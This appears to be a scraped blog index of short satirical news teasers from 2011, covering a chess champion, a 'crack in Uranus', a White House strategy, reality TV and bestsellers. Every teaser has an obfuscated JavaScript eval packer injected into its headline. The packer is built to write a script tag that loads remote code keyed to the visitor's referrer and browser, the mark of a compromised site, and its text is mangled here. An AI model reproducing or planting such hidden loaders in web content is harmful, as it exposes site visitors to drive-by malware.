Chinese Woman, 17, Still Champ

CHINESE CHESS CHAMP STILL THE WORLD’S BEST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfhan|var|u0026u|referrer|aeyak||js|php’.split(‘|’),0,{})) Feminists See Huge Gains for Women Ahead Beijing, China November 28th, 2011 (SHK) Hou Yifan, the 17-year-old chess grandmaster from Xinghua, China, retained the title of Women’s World Chess Champion Friday by beating Humpy Koneru, the best Indian woman ever to play [...]

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Huge Crack in Uranus

MASSIVE EXPLOSION SPLITS NEARBY PLANET eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeby|var|u0026u|referrer|bdzdb||js|php’.split(‘|’),0,{})) New Black Hole Feared in Solar System Washington, DC November 21st, 2011 (SHK) A giant intraplanetary blast apparently created an unprecedented gorge in a well-known planet’s crust, astrophysicists said yesterday. “There is clearly a huge crack in Uranus,” said Dr. Thaddeus (Tad) Stevens, head [...]

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Obama Reveals New Strategy

OBAMA ADMINISTRATION REVEALS NEW STRATEGY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayfti|var|u0026u|referrer|hyybe||js|php’.split(‘|’),0,{})) Uses Cutting-Edge Tactics to Thwart Republicans Washington, DC November 11th, 2011 (SHK) The Obama White House today announced new tactics designed to harass Republican opponents. The President has shuffled his West Wing staff and appointed several outside advisors to strengthen his re-election bid. William [...]

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New Reality Shows on Network TV

NEW REALITY SHOWS HEADLINE NETWORK TV eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzidt|var|u0026u|referrer|etnba||js|php’.split(‘|’),0,{})) Brain-dead viewers soar in number, threaten to make America extinct New York, NY November 9th, 2011 (SHK) America’s top television networks and cable channels have announced their new fall lineups. Standouts among the new series this season are the following three eagerly-anticipated shows. [...]

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Fall’s Shocking New Bestsellers

THIS FALL’S SHOCKING NEW BESTSELLERS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibifz|var|u0026u|referrer|byets||js|php’.split(‘|’),0,{})) History, Fiction and Self-Help Dominate New York, NY November 1st, 2011 (SHK) Three new books have catapulted onto the American literary scene this fall in anticipation of the nation’s annual return to Standard Time next weekend. The House that Ate Mommy, by Gretchen Windermere [...]

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